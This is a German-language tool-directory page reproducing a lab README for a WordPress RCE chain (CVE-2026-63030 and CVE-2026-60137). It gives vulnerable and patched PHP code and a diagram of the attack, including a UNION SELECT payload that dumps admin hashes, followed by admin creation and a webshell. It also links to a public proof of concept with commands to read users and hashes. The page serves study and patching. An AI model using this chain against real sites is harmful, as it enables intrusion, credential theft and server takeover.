Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2026-63030-lab — wp2shell (CVE-2026-63030 & CVE-2026-60137) - vollständige RCE-Kette | Kitploit
Tools/GitHubGitHub/mhassani97/cve-2026-63030-lab
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitLernen & BildungLabs & Praxis
GitHubmhassani97/cve-2026-63030-lab

cve-2026-63030-lab

wp2shell (CVE-2026-63030 & CVE-2026-60137) - vollständige RCE-Kette

Repository anzeigen
127vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-63030 — wp2shell Lab

RCE ohne Authentifizierung im WordPress-Kern durch REST-API-Batch-Routen-Verwechslung + SQL-Injection

WordPress CVE CVSS License

Übersicht

wp2shell ist eine Verkettung von zwei unabhängigen Schwachstellen mit jeweils geringem Schweregrad im WordPress-Kern, die in Kombination einem nicht authentifizierten Remote-Angreifer Folgendes ermöglichen:

  1. Ohne Anmeldedaten eine SQL-Injection-Senke zu erreichen
  2. Den Admin-Passwort-Hash aus der Datenbank zu extrahieren
  3. Ein neues Administrator-Konto zu erstellen
  4. Eine Webshell hochzuladen und vollständige Remote-Code-Ausführung zu erlangen
EigenschaftDetail
CVEsCVE-2026-63030 + CVE-2026-60137
CVSS9.8 Kritisch
Authentifizierung erforderlichKeine (vor der Authentifizierung)
AngriffsvektorNetzwerk
Betroffene VersionenWordPress 6.9.0–6.9.4 und 7.0.0–7.0.1
Behobene Versionen6.9.5 und 7.0.2 (veröffentlicht am 17. Juli 2026)

Die beiden Schwachstellen

CVE-2026-63030 — REST API Batch Route Confusion

Datei: wp-includes/rest-api/class-wp-rest-server.php

serve_batch_request_v1() verwaltet zwei parallele Arrays: $matches[] für Handler und $validation[] für Ergebnisse. Wenn eine Unteranfrage mit einem WP_Error fehlschlägt (defekter Pfad), wird sie in $validation[] eingefügt, aber nicht in $matches[]. Dadurch entsteht eine Indexverschiebung um +1 – Unteranfrage i wird mit dem Handler für Unteranfrage i+1 verarbeitet.

// VULNERABLE (7.0.1)
if ( is_wp_error( $route ) ) {
    $responses[] = envelope();
    continue; // $matches[] NOT pushed ← BUG
}

// PATCHED (7.0.2)
if ( is_wp_error( $route ) ) {
    $matches[]   = null; // ← FIX: keeps arrays in sync
    $responses[] = envelope();
    continue;
}

CVE-2026-60137 — SQL Injection in WP_Query

Datei: wp-includes/class-wp-query.php

Der Parameter author__not_in erwartet ein Array aus Ganzzahlen. Wird ein String übergeben, fügt implode() den rohen Wert direkt in die SQL-WHERE-Klausel ein – ohne Escaping, ohne Parametrisierung.

// VULNERABLE (7.0.1)
$where .= ' NOT IN (' . implode(',', $q['author__not_in']) . ')';

// PATCHED (7.0.2)
$safe   = implode(',', array_map('absint', (array) $q['author__not_in']));
$where .= " NOT IN ($safe)";

Angriffskette

Unauthenticated Attacker
        │
        ▼
POST /?rest_route=/batch/v1          ← Outer batch
  sub-req 0: "///"   → WP_Error → index shift (+1)
  sub-req 1: POST /wp/v2/posts       ← dispatched under BATCH handler
  sub-req 2: POST /batch/v1          ← dummy
        │
        │  [Confusion #1 active]
        ▼
Inner batch (body of sub-req 1)      ← schema never validated
  inner 0: "///"    → index shift (+1)
  inner 1: GET /wp/v2/posts?author_exclude=<PAYLOAD>
           dispatched under posts get_items()
        │
        │  [Confusion #2 active]
        ▼
WP_Query: author__not_in = raw string
        │
        ▼
SQL: NOT IN (0) UNION SELECT 999999,...,HEX(user_pass),...
        │
        ▼
title.rendered = "||1|admin|$wp$2y$10$...<hash>...||"
        │
        ▼
Crack hash  OR  crack-free oEmbed technique
        │
        ▼
POST /wp/v2/users → new admin → plugin upload → webshell → RCE

Einrichtung des Labs

Voraussetzungen

WerkzeugDownload
Docker Desktop (Windows / macOS)https://www.docker.com/products/docker-desktop
Docker Engine (Linux)https://docs.docker.com/engine/install
Githttps://git-scm.com/downloads
Burp Suite Community (optional)https://portswigger.net/burp/communitydownload

Schritt 1 — Repository klonen

git clone https://github.com/YOUR_USERNAME/cve-2026-63030-lab
cd cve-2026-63030-lab

Sie werden diese Dateien sehen:

cve-2026-63030-lab/
├── docker-compose.yml     ← defines WordPress + MySQL containers
├── Dockerfile             ← custom image with Apache fix + wp-cli
├── init.sh                ← configures permalink after install
└── fix-htaccess.ps1       ← Windows helper (run if Apache returns 404)

Schritt 2 — Das Lab erstellen und starten

docker compose up -d --build

Dies bewirkt Folgendes:

  • Das benutzerdefinierte WordPress-7.0.1-Image wird erstellt (dauert beim ersten Start etwa 1–2 Minuten)
  • Ein MySQL-8.0-Datenbankcontainer wird gestartet
  • WordPress wird unter http://localhost:9090 bereitgestellt

Überprüfen Sie, ob beide Container laufen:

docker compose ps

Erwartete Ausgabe:

NAME              STATUS
wp2shell-lab      running
wp2shell-db       running

Schritt 3 — WordPress-Installation abschließen

Öffnen Sie http://localhost:9090 in Ihrem Browser und füllen Sie Folgendes aus:

FeldEmpfohlener Wert
Website-TitelCVE-2026-63030
Benutzernameadmin
Passwortbeliebiges Passwort
E-Mail[email protected]

Klicken Sie auf WordPress installieren und melden Sie sich dann an.


Schritt 4 — REST-API-Routing aktivieren (erforderlich)

Führen Sie diesen Befehl nach der Installation einmal aus:

Linux / macOS:

docker exec wp2shell-lab bash -c "
  wp rewrite structure '/%postname%/' --allow-root --path=/var/www/html &&
  wp rewrite flush --allow-root --path=/var/www/html
"

Windows PowerShell:

docker exec wp2shell-lab bash -c "wp rewrite structure '/%postname%/' --allow-root --path=/var/www/html && wp rewrite flush --allow-root --path=/var/www/html"

Erwartete Ausgabe:

Success: Rewrite structure set.
Success: Rewrite rules flushed.

Schritt 5 — .htaccess reparieren (nur Windows, falls Sie bei der REST-API einen 404-Fehler erhalten)

.\fix-htaccess.ps1

Schritt 6 — Überprüfen, ob das Lab bereit ist

curl -s http://localhost:9090/wp-json/ | python3 -m json.tool | head -5

Wenn Sie eine JSON-Antwort mit "namespaces" sehen, ist das Lab bereit.


Aufräumen

# Stop and remove everything including database
docker compose down -v

Ausnutzung (PoC)

⚠️ Nur für autorisierte Sicherheitsforschung und zu Bildungszwecken. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung haben.

Die vollständige Ausnutzungskette (Erkennung → SQLi → Admin-Erstellung → Webshell → RCE) ist implementiert in:

github.com/Icex0/wp2shell-poc

git clone https://github.com/Icex0/wp2shell-poc
cd wp2shell-poc
pip install -r requirements.txt

# Step 1: Detection only (non-destructive)
python wp2shell.py check http://localhost:9090

# Step 2: Read database — extract users and hashes
python wp2shell.py read --preset users http://localhost:9090

Der Patch

Drei Dateien, weniger als 10 Zeilen PHP:

DateiÄnderung
class-wp-rest-server.phpPlatzhalter $matches[] = null, um die Arrays synchron zu halten
class-wp-query.php(array)-Cast + array_map('absint', ...)
class-wp-rest-posts-controller.phpGleiche Bereinigung auf der REST-Ebene

Aktualisieren Sie auf WordPress 6.9.5 oder 7.0.2, um die Schwachstellen zu beheben.


Referenzen

RessourceLink
GitHub Advisory (CVE-2026-63030)GHSA-ff9f-jf42-662q
GitHub Advisory (CVE-2026-60137)GHSA-fpp7-x2x2-2mjf
Öffentlicher PoChttps://github.com/Icex0/wp2shell-poc

Tool herunterladen